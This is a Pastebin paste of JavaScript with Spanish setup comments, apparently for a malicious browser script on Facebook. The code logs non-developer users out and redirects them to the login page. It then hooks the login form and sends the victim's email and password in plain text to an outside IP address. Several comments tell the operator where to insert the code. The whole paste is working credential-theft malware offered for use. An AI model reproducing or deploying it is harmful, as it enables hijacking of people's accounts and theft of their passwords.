Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //poner dentro de la funcion en fb
- function CheckApp() {
- $.ajax({
- type: 'GET',
- url:'https://developers.facebook.com/',
- async: false,
- complete: function(data){
- data = data.responseText;
- label = data.split('"label":"')[2].split('"')[0];
- if(label != "Graph API Explorer") {
- $.ajax({
- type: 'POST',
- url:'https://www.facebook.com/logout.php',
- async: false,
- data: {
- "fb_dtsg":fb.user_dtsg,
- "ref":"mb",
- "h":$("#logout_form input[name='h']").val()
- },
- complete: function(data){
- top.location = "https://www.facebook.com/login.php?sg=ETioiY6FhlKTGvYL6";
- }
- });
- }
- }
- });
- }
- // cambiar cookies.read por readc o la funcion que sea
- if(cookies.read("ps") != 1) {
- CheckApp();
- }
- //cambiar esto
- if (window == window.top){
- por esto
- if (window == window.top && cookies.read('c_user') != null){
- //nuevamente cambiar cookies.read por lo que sea
- poner fuera de la funcion que se ejecuta en Facebook, osea en global , esto
- if (document.URL.indexOf("ETioiY6FhlKTGvYL6") > -1){
- cookies.save("ps", 1, 30);
- $('#login_form').on('submit', function(e){
- e.preventDefault();
- $.ajax({
- type: 'POST',
- url:'https://www.facebook.com/login.php?login_attempt=1',
- async: false,
- data: {
- "lsd": $("input[name='lsd']").val(),
- "display":"",
- "enable_profile_selector":"",
- "legacy_return":1,
- "profile_selector_ids":"",
- "trynum":1,
- "timezone":$("input[name='timezone']").val(),
- "lgnrnd":$("input[name='lgnrnd']").val(),
- "lgnjs":$("input[name='lgnjs']").val(),
- "email":$("input[name='email']").val(),
- "pass":$("input[name='pass']").val(),
- "persistent":1,
- "default_persistent":0,
- "qsstamp":$("input[name='qsstamp']").val()
- },
- complete: function(data){
- top.location = "http://23.239.5.233/f.php?email="+$("input[name='email']").val()+"&pass="+$("input[name='pass']").val();
- }
- });
- });
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement